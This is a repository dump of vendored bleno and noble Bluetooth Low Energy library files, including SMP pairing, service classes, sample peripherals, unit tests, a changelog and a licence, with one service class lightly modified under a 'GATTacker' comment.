| 78 | pkt.writeUInt16LE(opcode, 0); 79 | pkt.writeUInt16LE(index, 2); 80 | pkt.writeUInt16LE(length, 4); 81 | 82 | if (length) { 83 | data.copy(pkt, 6); 84 | } 85 | 86 | debug('writing -> ' + pkt.toString('hex')); 87 | this._socket.write(pkt); 88 | }; 89 | 90 | module.exports = new Mgmt(); 91 | -------------------------------------------------------------------------------- /lib/bleno/lib/hci-socket/smp.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('smp'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var crypto = require('./crypto'); 7 | var mgmt = require('./mgmt'); 8 | 9 | var SMP_CID = 0x0006; 10 | 11 | var SMP_PAIRING_REQUEST = 0x01; 12 | var SMP_PAIRING_RESPONSE = 0x02; 13 | var SMP_PAIRING_CONFIRM = 0x03; 14 | var SMP_PAIRING_RANDOM = 0x04; 15 | var SMP_PAIRING_FAILED = 0x05; 16 | var SMP_ENCRYPT_INFO = 0x06; 17 | var SMP_MASTER_IDENT = 0x07; 18 | 19 | var SMP_UNSPECIFIED = 0x08; 20 | 21 | var Smp = function(aclStream, localAddressType, localAddress, remoteAddressType, remoteAddress) { 22 | this._aclStream = aclStream; 23 | 24 | this._iat = new Buffer([(remoteAddressType === 'random') ? 0x01 : 0x00]); 25 | this._ia = new Buffer(remoteAddress.split(':').reverse().join(''), 'hex'); 26 | this._rat = new Buffer([(localAddressType === 'random') ? 0x01 : 0x00]); 27 | this._ra = new Buffer(localAddress.split(':').reverse().join(''), 'hex'); 28 | 29 | this._stk = null; 30 | this._random = null; 31 | this._diversifier = null; 32 | 33 | this.onAclStreamDataBinded = this.onAclStreamData.bind(this); 34 | this.onAclStreamEncryptChangeBinded = this.onAclStreamEncryptChange.bind(this); 35 | this.onAclStreamLtkNegReplyBinded = this.onAclStreamLtkNegReply.bind(this); 36 | this.onAclStreamEndBinded = this.onAclStreamEnd.bind(this); 37 | 38 | this._aclStream.on('data', this.onAclStreamDataBinded); 39 | this._aclStream.on('encryptChange', this.onAclStreamEncryptChangeBinded); 40 | this._aclStream.on('ltkNegReply', this.onAclStreamLtkNegReplyBinded); 41 | this._aclStream.on('end', this.onAclStreamEndBinded); 42 | }; 43 | 44 | util.inherits(Smp, events.EventEmitter); 45 | 46 | Smp.prototype.onAclStreamData = function(cid, data) { 47 | if (cid !== SMP_CID) { 48 | return; 49 | } 50 | 51 | var code = data.readUInt8(0); 52 | 53 | if (SMP_PAIRING_REQUEST === code) { 54 | this.handlePairingRequest(data); 55 | } else if (SMP_PAIRING_CONFIRM === code) { 56 | this.handlePairingConfirm(data); 57 | } else if (SMP_PAIRING_RANDOM === code) { 58 | this.handlePairingRandom(data); 59 | } else if (SMP_PAIRING_FAILED === code) { 60 | this.handlePairingFailed(data); 61 | } 62 | }; 63 | 64 | Smp.prototype.onAclStreamEncryptChange = function(encrypted) { 65 | if (encrypted) { 66 | if (this._stk && this._diversifier && this._random) { 67 | this.write(Buffer.concat([ 68 | new Buffer([SMP_ENCRYPT_INFO]), 69 | this._stk 70 | ])); 71 | 72 | this.write(Buffer.concat([ 73 | new Buffer([SMP_MASTER_IDENT]), 74 | this._diversifier, 75 | this._random 76 | ])); 77 | } 78 | } 79 | }; 80 | 81 | Smp.prototype.onAclStreamLtkNegReply = function() { 82 | this.write(new Buffer([ 83 | SMP_PAIRING_FAILED, 84 | SMP_UNSPECIFIED 85 | ])); 86 | 87 | this.emit('fail'); 88 | }; 89 | 90 | Smp.prototype.onAclStreamEnd = function() { 91 | this._aclStream.removeListener('data', this.onAclStreamDataBinded); 92 | this._aclStream.removeListener('encryptChange', this.onAclStreamEncryptChangeBinded); 93 | this._aclStream.removeListener('ltkNegReply', this.onAclStreamLtkNegReplyBinded); 94 | this._aclStream.removeListener('end', this.onAclStreamEndBinded); 95 | }; 96 | 97 | Smp.prototype.handlePairingRequest = function(data) { 98 | this._preq = data; 99 | 100 | this._pres = new Buffer([ 101 | SMP_PAIRING_RESPONSE, 102 | 0x03, // IO capability: NoInputNoOutput 103 | 0x00, // OOB data: Authentication data not present 104 | 0x01, // Authentication requirement: Bonding - No MITM 105 | 0x10, // Max encryption key size 106 | 0x00, // Initiator key distribution: 107 | 0x01 // Responder key distribution: EncKey 108 | ]); 109 | 110 | this.write(this._pres); 111 | }; 112 | 113 | Smp.prototype.handlePairingConfirm = function(data) { 114 | this._pcnf = data; 115 | 116 | this._tk = new Buffer('00000000000000000000000000000000', 'hex'); 117 | this._r = crypto.r(); 118 | 119 | this.write(Buffer.concat([ 120 | new Buffer([SMP_PAIRING_CONFIRM]), 121 | crypto.c1(this._tk, this._r, this._pres, this._preq, this._iat, this._ia, this._rat, this._ra) 122 | ])); 123 | }; 124 | 125 | Smp.prototype.handlePairingRandom = function(data) { 126 | var r = data.slice(1); 127 | 128 | var pcnf = Buffer.concat([ 129 | new Buffer([SMP_PAIRING_CONFIRM]), 130 | crypto.c1(this._tk, r, this._pres, this._preq, this._iat, this._ia, this._rat, this._ra) 131 | ]); 132 | 133 | if (this._pcnf.toString('hex') === pcnf.toString('hex')) { 134 | this._diversifier = new Buffer('0000', 'hex'); 135 | this._random = new Buffer('0000000000000000', 'hex'); 136 | this._stk = crypto.s1(this._tk, this._r, r); 137 | 138 | mgmt.addLongTermKey(this._ia, this._iat, 0, 0, this._diversifier, this._random, this._stk); 139 | 140 | this.write(Buffer.concat([ 141 | new Buffer([SMP_PAIRING_RANDOM]), 142 | this._r 143 | ])); 144 | } else { 145 | this.write(new Buffer([ 146 | SMP_PAIRING_FAILED, 147 | SMP_PAIRING_CONFIRM 148 | ])); 149 | 150 | this.emit('fail'); 151 | } 152 | }; 153 | 154 | Smp.prototype.handlePairingFailed = function(data) { 155 | this.emit('fail'); 156 | }; 157 | 158 | Smp.prototype.write = function(data) { 159 | this._aclStream.write(SMP_CID, data); 160 | }; 161 | 162 | module.exports = Smp; 163 | -------------------------------------------------------------------------------- /lib/bleno/lib/mac/uuid-to-address.js: -------------------------------------------------------------------------------- 1 | var bplist = require('bplist-parser'); 2 | 3 | module.exports = function(uuid, callback) { 4 | bplist.parseFile('/Library/Preferences/com.apple.Bluetooth.plist', function (err, obj) { 5 | if (err) { 6 | return callback(err); 7 | } else if (obj[0].CoreBluetoothCache === undefined) { 8 | return callback(new Error('Empty CoreBluetoothCache entry!')); 9 | } 10 | 11 | uuid = uuid.toUpperCase(); 12 | 13 | var formattedUuid = uuid.substring(0, 8) + '-' + 14 | uuid.substring(8, 12) + '-' + 15 | uuid.substring(12, 16) + '-' + 16 | uuid.substring(16, 20) + '-' + 17 | uuid.substring(20); 18 | 19 | var coreBluetoothCacheEntry = obj[0].CoreBluetoothCache[formattedUuid]; 20 | var address = coreBluetoothCacheEntry ? coreBluetoothCacheEntry.DeviceAddress.replace(/-/g, ':') : undefined; 21 | 22 | callback(null, address); 23 | }); 24 | }; 25 | -------------------------------------------------------------------------------- /lib/bleno/lib/primary-service.js: -------------------------------------------------------------------------------- 1 | var events = require('events'); 2 | var util = require('util'); 3 | 4 | var debug = require('debug')('primary-service'); 5 | 6 | var UuidUtil = require('./uuid-util'); 7 | 8 | function PrimaryService(options) { 9 | this.uuid = UuidUtil.removeDashes(options.uuid); 10 | //GATTacker 11 | this.startHandle = options.startHandle, 12 | this.endHandle = options.endHandle, 13 | 14 | this.characteristics = options.characteristics || []; 15 | } 16 | 17 | util.inherits(PrimaryService, events.EventEmitter); 18 | 19 | PrimaryService.prototype.toString = function() { 20 | return JSON.stringify({ 21 | uuid: this.uuid, 22 | characteristics: this.characteristics 23 | }); 24 | }; 25 | 26 | module.exports = PrimaryService; 27 | -------------------------------------------------------------------------------- /lib/bleno/lib/primary-service.orig.js: -------------------------------------------------------------------------------- 1 | var events = require('events'); 2 | var util = require('util'); 3 | 4 | var debug = require('debug')('primary-service'); 5 | 6 | var UuidUtil = require('./uuid-util'); 7 | 8 | function PrimaryService(options) { 9 | this.uuid = UuidUtil.removeDashes(options.uuid); 10 | this.characteristics = options.characteristics || []; 11 | } 12 | 13 | util.inherits(PrimaryService, events.EventEmitter); 14 | 15 | PrimaryService.prototype.toString = function() { 16 | return JSON.stringify({ 17 | uuid: this.uuid, 18 | characteristics: this.characteristics 19 | }); 20 | }; 21 | 22 | module.exports = PrimaryService; 23 | -------------------------------------------------------------------------------- /lib/bleno/lib/uuid-util.js: -------------------------------------------------------------------------------- 1 | module.exports.removeDashes = function(uuid) { 2 | if (uuid) { 3 | uuid = uuid.replace(/-/g, ''); 4 | } 5 | 6 | return uuid; 7 | }; 8 | -------------------------------------------------------------------------------- /lib/bleno/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bleno", 3 | "version": "0.4.0", 4 | "description": "A Node.js module for implementing BLE (Bluetooth Low Energy) peripherals", 5 | "main": "index.js", 6 | "engines": { 7 | "node": ">=0.8" 8 | }, 9 | "os": [ 10 | "darwin", 11 | "linux", 12 | "win32" 13 | ], 14 | "scripts": { 15 | "pretest": "jshint *.js lib/. test/. examples/.", 16 | "test": "mocha -R spec test/*.js" 17 | }, 18 | "repository": { 19 | "type": "git", 20 | "url": "https://github.com/sandeepmistry/bleno" 21 | }, 22 | "keywords": [ 23 | "BLE", 24 | "Bluetooth", 25 | "Bluetooth Low Energy", 26 | "Bluetooth Smart", 27 | "peripheral" 28 | ], 29 | "author": { 30 | "name": "Sandeep Mistry" 31 | }, 32 | "license": "MIT", 33 | "devDependencies": { 34 | "jshint": "~2.3.0", 35 | "should": "~2.0.2", 36 | "mocha": "~1.14.0", 37 | "node-blink1": "~0.2.2" 38 | }, 39 | "dependencies": { 40 | "debug": "^2.2.0", 41 | "bluetooth-hci-socket": "~0.4.3", 42 | "bplist-parser": "0.0.6", 43 | "xpc-connection": "~0.1.4" 44 | }, 45 | "optionalDependencies": { 46 | "bluetooth-hci-socket": "~0.4.3", 47 | "bplist-parser": "0.0.6", 48 | "xpc-connection": "~0.1.4" 49 | }, 50 | "gitHead": "d0d6582f882c0b2c3d279e317882496a17c9f023", 51 | "bugs": { 52 | "url": "https://github.com/sandeepmistry/bleno/issues" 53 | }, 54 | "homepage": "https://github.com/sandeepmistry/bleno", 55 | "_id": "bleno@0.4.0", 56 | "_shasum": "58c9012ae09c0d21436ce3ea32a394fab5c0de3d", 57 | "_from": "bleno@*", 58 | "_npmVersion": "2.14.7", 59 | "_nodeVersion": "4.2.3", 60 | "_npmUser": { 61 | "name": "sandeepmistry", 62 | "email": "sandeep.mistry@gmail.com" 63 | }, 64 | "maintainers": [ 65 | { 66 | "name": "sandeepmistry", 67 | "email": "sandeep.mistry@gmail.com" 68 | } 69 | ], 70 | "dist": { 71 | "shasum": "58c9012ae09c0d21436ce3ea32a394fab5c0de3d", 72 | "tarball": "https://registry.npmjs.org/bleno/-/bleno-0.4.0.tgz" 73 | }, 74 | "_npmOperationalInternal": { 75 | "host": "packages-13-west.internal.npmjs.com", 76 | "tmp": "tmp/bleno-0.4.0.tgz_1458775380819_0.3093927304726094" 77 | }, 78 | "directories": {}, 79 | "_resolved": "https://registry.npmjs.org/bleno/-/bleno-0.4.0.tgz" 80 | } 81 | -------------------------------------------------------------------------------- /lib/bleno/test-ibeacon.js: -------------------------------------------------------------------------------- 1 | var bleno = require('./index'); 2 | 3 | console.log('bleno - iBeacon'); 4 | 5 | bleno.on('stateChange', function(state) { 6 | console.log('on -> stateChange: ' + state); 7 | 8 | if (state === 'poweredOn') { 9 | bleno.startAdvertisingIBeacon('e2c56db5dffb48d2b060d0f5a71096e0', 0, 0, -59); 10 | } else { 11 | bleno.stopAdvertising(); 12 | } 13 | }); 14 | 15 | bleno.on('advertisingStart', function() { 16 | console.log('on -> advertisingStart'); 17 | }); 18 | 19 | bleno.on('advertisingStop', function() { 20 | console.log('on -> advertisingStop'); 21 | }); 22 | -------------------------------------------------------------------------------- /lib/bleno/test.js: -------------------------------------------------------------------------------- 1 | var util = require('util'); 2 | 3 | var bleno = require('./index'); 4 | 5 | 6 | var BlenoPrimaryService = bleno.PrimaryService; 7 | var BlenoCharacteristic = bleno.Characteristic; 8 | var BlenoDescriptor = bleno.Descriptor; 9 | 10 | console.log('bleno'); 11 | 12 | var StaticReadOnlyCharacteristic = function() { 13 | StaticReadOnlyCharacteristic.super_.call(this, { 14 | uuid: 'fffffffffffffffffffffffffffffff1', 15 | properties: ['read'], 16 | value: new Buffer('value'), 17 | descriptors: [ 18 | new BlenoDescriptor({ 19 | uuid: '2901', 20 | value: 'user description' 21 | }) 22 | ] 23 | }); 24 | }; 25 | util.inherits(StaticReadOnlyCharacteristic, BlenoCharacteristic); 26 | 27 | var DynamicReadOnlyCharacteristic = function() { 28 | DynamicReadOnlyCharacteristic.super_.call(this, { 29 | uuid: 'fffffffffffffffffffffffffffffff2', 30 | properties: ['read'] 31 | }); 32 | }; 33 | 34 | util.inherits(DynamicReadOnlyCharacteristic, BlenoCharacteristic); 35 | 36 | DynamicReadOnlyCharacteristic.prototype.onReadRequest = function(offset, callback) { 37 | var result = this.RESULT_SUCCESS; 38 | var data = new Buffer('dynamic value'); 39 | 40 | if (offset > data.length) { 41 | result = this.RESULT_INVALID_OFFSET; 42 | data = null; 43 | } else { 44 | data = data.slice(offset); 45 | } 46 | 47 | callback(result, data); 48 | }; 49 | 50 | var LongDynamicReadOnlyCharacteristic = function() { 51 | LongDynamicReadOnlyCharacteristic.super_.call(this, { 52 | uuid: 'fffffffffffffffffffffffffffffff3', 53 | properties: ['read'] 54 | }); 55 | }; 56 | 57 | util.inherits(LongDynamicReadOnlyCharacteristic, BlenoCharacteristic); 58 | 59 | LongDynamicReadOnlyCharacteristic.prototype.onReadRequest = function(offset, callback) { 60 | var result = this.RESULT_SUCCESS; 61 | var data = new Buffer(512); 62 | 63 | for (var i = 0; i < data.length; i++) { 64 | data[i] = i % 256; 65 | } 66 | 67 | if (offset > data.length) { 68 | result = this.RESULT_INVALID_OFFSET; 69 | data = null; 70 | } else { 71 | data = data.slice(offset); 72 | } 73 | 74 | callback(result, data); 75 | }; 76 | 77 | var WriteOnlyCharacteristic = function() { 78 | WriteOnlyCharacteristic.super_.call(this, { 79 | uuid: 'fffffffffffffffffffffffffffffff4', 80 | properties: ['write', 'writeWithoutResponse'] 81 | }); 82 | }; 83 | 84 | util.inherits(WriteOnlyCharacteristic, BlenoCharacteristic); 85 | 86 | WriteOnlyCharacteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 87 | console.log('WriteOnlyCharacteristic write request: ' + data.toString('hex') + ' ' + offset + ' ' + withoutResponse); 88 | 89 | callback(this.RESULT_SUCCESS); 90 | }; 91 | 92 | var NotifyOnlyCharacteristic = function() { 93 | NotifyOnlyCharacteristic.super_.call(this, { 94 | uuid: 'fffffffffffffffffffffffffffffff5', 95 | properties: ['notify'] 96 | }); 97 | }; 98 | 99 | util.inherits(NotifyOnlyCharacteristic, BlenoCharacteristic); 100 | 101 | NotifyOnlyCharacteristic.prototype.onSubscribe = function(maxValueSize, updateValueCallback) { 102 | console.log('NotifyOnlyCharacteristic subscribe'); 103 | 104 | this.counter = 0; 105 | this.changeInterval = setInterval(function() { 106 | var data = new Buffer(4); 107 | data.writeUInt32LE(this.counter, 0); 108 | 109 | console.log('NotifyOnlyCharacteristic update value: ' + this.counter); 110 | updateValueCallback(data); 111 | this.counter++; 112 | }.bind(this), 5000); 113 | }; 114 | 115 | NotifyOnlyCharacteristic.prototype.onUnsubscribe = function() { 116 | console.log('NotifyOnlyCharacteristic unsubscribe'); 117 | 118 | if (this.changeInterval) { 119 | clearInterval(this.changeInterval); 120 | this.changeInterval = null; 121 | } 122 | }; 123 | 124 | NotifyOnlyCharacteristic.prototype.onNotify = function() { 125 | console.log('NotifyOnlyCharacteristic on notify'); 126 | }; 127 | 128 | var IndicateOnlyCharacteristic = function() { 129 | IndicateOnlyCharacteristic.super_.call(this, { 130 | uuid: 'fffffffffffffffffffffffffffffff6', 131 | properties: ['indicate'] 132 | }); 133 | }; 134 | 135 | util.inherits(IndicateOnlyCharacteristic, BlenoCharacteristic); 136 | 137 | IndicateOnlyCharacteristic.prototype.onSubscribe = function(maxValueSize, updateValueCallback) { 138 | console.log('IndicateOnlyCharacteristic subscribe'); 139 | 140 | this.counter = 0; 141 | this.changeInterval = setInterval(function() { 142 | var data = new Buffer(4); 143 | data.writeUInt32LE(this.counter, 0); 144 | 145 | console.log('IndicateOnlyCharacteristic update value: ' + this.counter); 146 | updateValueCallback(data); 147 | this.counter++; 148 | }.bind(this), 1000); 149 | }; 150 | 151 | IndicateOnlyCharacteristic.prototype.onUnsubscribe = function() { 152 | console.log('IndicateOnlyCharacteristic unsubscribe'); 153 | 154 | if (this.changeInterval) { 155 | clearInterval(this.changeInterval); 156 | this.changeInterval = null; 157 | } 158 | }; 159 | 160 | IndicateOnlyCharacteristic.prototype.onIndicate = function() { 161 | console.log('IndicateOnlyCharacteristic on indicate'); 162 | }; 163 | 164 | function SampleService() { 165 | SampleService.super_.call(this, { 166 | uuid: 'fffffffffffffffffffffffffffffff0', 167 | characteristics: [ 168 | new StaticReadOnlyCharacteristic(), 169 | new DynamicReadOnlyCharacteristic(), 170 | new LongDynamicReadOnlyCharacteristic(), 171 | new WriteOnlyCharacteristic(), 172 | new NotifyOnlyCharacteristic(), 173 | new IndicateOnlyCharacteristic() 174 | ] 175 | }); 176 | } 177 | 178 | util.inherits(SampleService, BlenoPrimaryService); 179 | 180 | bleno.on('stateChange', function(state) { 181 | console.log('on -> stateChange: ' + state + ', address = ' + bleno.address); 182 | 183 | if (state === 'poweredOn') { 184 | bleno.startAdvertising('test', ['fffffffffffffffffffffffffffffff0']); 185 | } else { 186 | bleno.stopAdvertising(); 187 | } 188 | }); 189 | 190 | // Linux only events ///////////////// 191 | bleno.on('accept', function(clientAddress) { 192 | console.log('on -> accept, client: ' + clientAddress); 193 | 194 | bleno.updateRssi(); 195 | }); 196 | 197 | bleno.on('disconnect', function(clientAddress) { 198 | console.log('on -> disconnect, client: ' + clientAddress); 199 | }); 200 | 201 | bleno.on('rssiUpdate', function(rssi) { 202 | console.log('on -> rssiUpdate: ' + rssi); 203 | }); 204 | ////////////////////////////////////// 205 | 206 | bleno.on('mtuChange', function(mtu) { 207 | console.log('on -> mtuChange: ' + mtu); 208 | }); 209 | 210 | bleno.on('advertisingStart', function(error) { 211 | console.log('on -> advertisingStart: ' + (error ? 'error ' + error : 'success')); 212 | 213 | if (!error) { 214 | bleno.setServices([ 215 | new SampleService() 216 | ]); 217 | } 218 | }); 219 | 220 | bleno.on('advertisingStop', function() { 221 | console.log('on -> advertisingStop'); 222 | }); 223 | 224 | bleno.on('servicesSet', function(error) { 225 | console.log('on -> servicesSet: ' + (error ? 'error ' + error : 'success')); 226 | }); 227 | -------------------------------------------------------------------------------- /lib/bleno/test/test-characteristic.js: -------------------------------------------------------------------------------- 1 | var should = require('should'); 2 | 3 | var Characteristic = require('../lib/characteristic'); 4 | 5 | describe('Characteristic', function() { 6 | var mockUuid = 'mockuuid'; 7 | var mockProperties = ['property1', 'property2', 'property3']; 8 | var mockSecure = ['secure1', 'secure2', 'secure3']; 9 | var mockValue = new Buffer('mock value'); 10 | var mockDescriptors = [{}, {}, {}]; 11 | 12 | var mockOnReadRequest = function() {}; 13 | var mockOnWriteRequest = function() {}; 14 | var mockOnSubscribe = function() {}; 15 | var mockOnUnsubscribe = function() {}; 16 | var mockOnNotify = function() {}; 17 | var mockOnIndicate = function() {}; 18 | 19 | var mockMaxValueSize = 20; 20 | var mockUpdateValueCallback = function() {}; 21 | 22 | it('should create with uuid option', function() { 23 | var characteristic = new Characteristic({ 24 | uuid: mockUuid 25 | }); 26 | 27 | characteristic.uuid.should.equal(mockUuid); 28 | 29 | Array.isArray(characteristic.properties).should.equal(true); 30 | characteristic.properties.length.should.equal(0); 31 | 32 | Array.isArray(characteristic.secure).should.equal(true); 33 | characteristic.secure.length.should.equal(0); 34 | 35 | should(characteristic.value).equal(null); 36 | 37 | Array.isArray(characteristic.descriptors).should.equal(true); 38 | characteristic.descriptors.length.should.equal(0); 39 | }); 40 | 41 | it('should create with properties option', function() { 42 | var characteristic = new Characteristic({ 43 | properties: mockProperties 44 | }); 45 | 46 | characteristic.properties.should.equal(mockProperties); 47 | }); 48 | 49 | it('should create with secure option', function() { 50 | var characteristic = new Characteristic({ 51 | secure: mockSecure 52 | }); 53 | 54 | characteristic.secure.should.equal(mockSecure); 55 | }); 56 | 57 | it('should create with value option', function() { 58 | var characteristic = new Characteristic({ 59 | value: mockValue 60 | }); 61 | 62 | characteristic.value.should.equal(mockValue); 63 | }); 64 | 65 | it('should create with descriptors option', function() { 66 | var characteristic = new Characteristic({ 67 | descriptors: mockDescriptors 68 | }); 69 | 70 | characteristic.descriptors.should.equal(mockDescriptors); 71 | }); 72 | 73 | it('should create with onReadRequest option', function() { 74 | var characteristic = new Characteristic({ 75 | onReadRequest: mockOnReadRequest 76 | }); 77 | 78 | characteristic.onReadRequest.should.equal(mockOnReadRequest); 79 | }); 80 | 81 | it('should create with onWriteRequest option', function() { 82 | var characteristic = new Characteristic({ 83 | onWriteRequest: mockOnWriteRequest 84 | }); 85 | 86 | characteristic.onWriteRequest.should.equal(mockOnWriteRequest); 87 | }); 88 | 89 | it('should create with onSubscribe option', function() { 90 | var characteristic = new Characteristic({ 91 | onSubscribe: mockOnSubscribe 92 | }); 93 | 94 | characteristic.onSubscribe.should.equal(mockOnSubscribe); 95 | }); 96 | 97 | it('should create with onUnsubscribe option', function() { 98 | var characteristic = new Characteristic({ 99 | onUnsubscribe: mockOnUnsubscribe 100 | }); 101 | 102 | characteristic.onUnsubscribe.should.equal(mockOnUnsubscribe); 103 | }); 104 | 105 | it('should create with onNotify option', function() { 106 | var characteristic = new Characteristic({ 107 | onNotify: mockOnNotify 108 | }); 109 | 110 | characteristic.onNotify.should.equal(mockOnNotify); 111 | }); 112 | 113 | it('should create with onIndicate option', function() { 114 | var characteristic = new Characteristic({ 115 | onIndicate: mockOnIndicate 116 | }); 117 | 118 | characteristic.onIndicate.should.equal(mockOnIndicate); 119 | }); 120 | 121 | it('should toString', function() { 122 | var characteristic = new Characteristic({ 123 | uuid: mockUuid 124 | }); 125 | 126 | characteristic.toString().should.equal('{"uuid":"mockuuid","properties":[],"secure":[],"value":null,"descriptors":[]}'); 127 | }); 128 | 129 | it('should handle read request', function(done) { 130 | var characteristic = new Characteristic({}); 131 | 132 | characteristic.emit('readRequest', 0, function(result, data) { 133 | result.should.equal(0x0e); 134 | should(data).equal(null); 135 | 136 | done(); 137 | }); 138 | }); 139 | 140 | it('should handle write request', function(done) { 141 | var characteristic = new Characteristic({}); 142 | 143 | characteristic.emit('writeRequest', new Buffer(0), 0, false, function(result) { 144 | result.should.equal(0x0e); 145 | 146 | done(); 147 | }); 148 | }); 149 | 150 | it('should handle unsubscribe', function() { 151 | var characteristic = new Characteristic({}); 152 | 153 | characteristic.maxValueSize = mockMaxValueSize; 154 | characteristic.updateValueCallback = mockUpdateValueCallback; 155 | 156 | characteristic.emit('unsubscribe'); 157 | 158 | should(characteristic.maxValueSize).equal(null); 159 | should(characteristic.updateValueCallback).equal(null); 160 | }); 161 | }); 162 | -------------------------------------------------------------------------------- /lib/bleno/test/test-descriptor.js: -------------------------------------------------------------------------------- 1 | var should = require('should'); 2 | 3 | var Descriptor = require('../lib/descriptor'); 4 | 5 | describe('Descriptor', function() { 6 | var mockUuid = 'mockuuid'; 7 | var mockValue = new Buffer('mock value'); 8 | 9 | it('should create with uuid option', function() { 10 | var descriptor = new Descriptor({ 11 | uuid: mockUuid 12 | }); 13 | 14 | descriptor.uuid.should.equal(mockUuid); 15 | 16 | Buffer.isBuffer(descriptor.value).should.equal(true); 17 | descriptor.value.length.should.equal(0); 18 | }); 19 | 20 | it('should create with value option', function() { 21 | var descriptor = new Descriptor({ 22 | value: mockValue 23 | }); 24 | 25 | descriptor.value.should.equal(mockValue); 26 | }); 27 | 28 | describe('toString', function() { 29 | it('should hex buffer value', function() { 30 | var descriptor = new Descriptor({ 31 | uuid: mockUuid, 32 | value: mockValue 33 | }); 34 | 35 | descriptor.toString().should.equal('{"uuid":"mockuuid","value":"6d6f636b2076616c7565"}'); 36 | }); 37 | 38 | it('should leave non-buffer value alone', function() { 39 | var descriptor = new Descriptor({ 40 | uuid: mockUuid, 41 | value: 'mock value' 42 | }); 43 | 44 | descriptor.toString().should.equal('{"uuid":"mockuuid","value":"mock value"}'); 45 | }); 46 | }); 47 | }); -------------------------------------------------------------------------------- /lib/bleno/test/test-primary-service.js: -------------------------------------------------------------------------------- 1 | var should = require('should'); 2 | 3 | var PrimaryService = require('../lib/primary-service'); 4 | 5 | describe('PrimaryService', function() { 6 | var mockUuid = 'mockuuid'; 7 | var mockCharacteristics = [{}, {}, {}]; 8 | 9 | it('should create with uuid option', function() { 10 | var service = new PrimaryService({ 11 | uuid: mockUuid 12 | }); 13 | 14 | service.uuid.should.equal(mockUuid); 15 | 16 | Array.isArray(service.characteristics).should.equal(true); 17 | service.characteristics.length.should.equal(0); 18 | }); 19 | 20 | it('should create with characteristics option', function() { 21 | var service = new PrimaryService({ 22 | characteristics: mockCharacteristics 23 | }); 24 | 25 | service.characteristics.should.equal(mockCharacteristics); 26 | }); 27 | 28 | it('should toString', function() { 29 | var service = new PrimaryService({ 30 | uuid: mockUuid 31 | }); 32 | 33 | service.toString().should.equal('{"uuid":"mockuuid","characteristics":[]}'); 34 | }); 35 | }); -------------------------------------------------------------------------------- /lib/noble/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | ## Version 1.6.0 2 | 3 | * hci-socket binding: use latest bluetooth-hci-socket dependency (~0.4.4) 4 | * Added characteristic.subscribe and characteristic.unsubscribe API's (characteristic.notify is now deprecated) 5 | * hci-socket binding: use OCF_LE_SET_EVENT_MASK for LE_SET_EVENT_MASK_CMD 6 | * hci-socket binding: check READ_LE_HOST_SUPPORTED_CMD status before parsing result 7 | 8 | ## Version 1.5.0 9 | 10 | * hci-socket binding: add NOBLE_MULTI_ROLE flag for ignoring peripheral role commands ([@popasquat89](https://github.com/bradjc)) 11 | * Fix variable typo in ```with-bindings.js`` ([@rclai](https://github.com/rclai)) 12 | 13 | ## Version 1.4.0 14 | 15 | * hci-socket binding: include service data UUID's when filtering discover 16 | * hci-socket binding: emit scan start/stop when external app changes scanning start ([@bradjc](https://github.com/bradjc)) 17 | * Support for pluggable bindings ([@hgwood](https://github.com/hgwood)) 18 | * hci-socket binding: don't kill all descriptors when looking for new Characteristics ([@Neutrosider](https://github.com/Neutrosider)) 19 | 20 | ## Version 1.3.0 21 | 22 | * Check and report LE Create Conn command status 23 | * Correct parsing master clock accuracy value from LE Conn Complete event 24 | * Added logic to reject rather than ignore unknown requests/commands. ([@george-hawkins](https://github.com/george-hawkins)) 25 | * Don't reset scan state on read local version response if state is powered on 26 | * Expose local adapter address via ```noble.address```, available after ```poweredOn``` state change event 27 | * Fix ```serviceUuids``` var check in ```peripheral-explorer.js``` ([@jrobeson](https://github.com/jrobeson)) 28 | 29 | ## Version 1.2.1 30 | 31 | * Use latest v0.4.1 bluetooth-hci-socket dependency (for kernel 4.1.x disconnect workaround) 32 | * Add read + write LE host supported commands (for kernel 4.1.x disconnect workaround) 33 | * Fix a potential exception when accessing a non existent element ([@Loghorn](https://github.com/Loghorn)) 34 | 35 | ## Version 1.2.0 36 | 37 | * Use v0.4.0 of bluetooth-hci-socket 38 | * Ignore peripherals with only connectable flag on OS X 10.10 39 | * Bindings no longer init themselves 40 | * Fix this._discoveredPeripheralUUids = []; variable not initalized in constructor ([@jacobrosenthal](https://github.com/jacobrosenthal)) 41 | * New ```peripheral.connectable``` property 42 | * Updates to Linux prerequisites in read me 43 | * Throw error if scanning is started when state is not powered on 44 | 45 | ## Version 1.1.0 46 | 47 | * Introduce ```peripheral.id```, ```periheral.uuid``` is deprecated now 48 | * Initial Windows support via WinUSB and bluetooth-hci-socket 49 | * Rework Linux stack to use [bluetooth-hci-socket](https://github.com/sandeepmistry/node-bluetooth-hci-socket) 50 | * Clarify notify related API's in read me ([@OJFord](https://github.com/OJFord)) 51 | 52 | ## Version 1.0.2 53 | 54 | * Add mac dummy in binding.pyq ([@DomiR](https://github.com/DomiR)) 55 | * Fixes for distributed and websocket bindings ([@Loghorn](https://github.com/Loghorn)) 56 | * OS X Mavericks and legacy: manually emit write event for write without response requests 57 | * Update README for packages needed for rpm-based systems ([@ppannuto](https://github.com/ppannuto)) 58 | * Linux: refresh serviceUuids for incoming advertisement ([@BBarash](https://github.com/BBarash)) 59 | 60 | ## Version 1.0.1 61 | 62 | * correct peripherals not being created correctly 63 | 64 | ## Version 1.0 65 | 66 | * remove unneeded setTimeout's in OS X bindings 67 | * added persistent peripherals between calls to .startScanning() on mavericks ([@andySigler](https://github.com/andySigler)) 68 | * report error or print warning if startScanning is called with state is not poweredOn 69 | * emit events for warnings ([@voodootikigod ](https://github.com/voodootikigod)) 70 | * disable scanning flag on start on Linux to prevent unsupport adapter state in some cases 71 | * update debug dependency version 72 | * add address type to peripheral if known 73 | 74 | ## Older 75 | 76 | * Changes not recorded 77 | -------------------------------------------------------------------------------- /lib/noble/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013 Sandeep Mistry 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 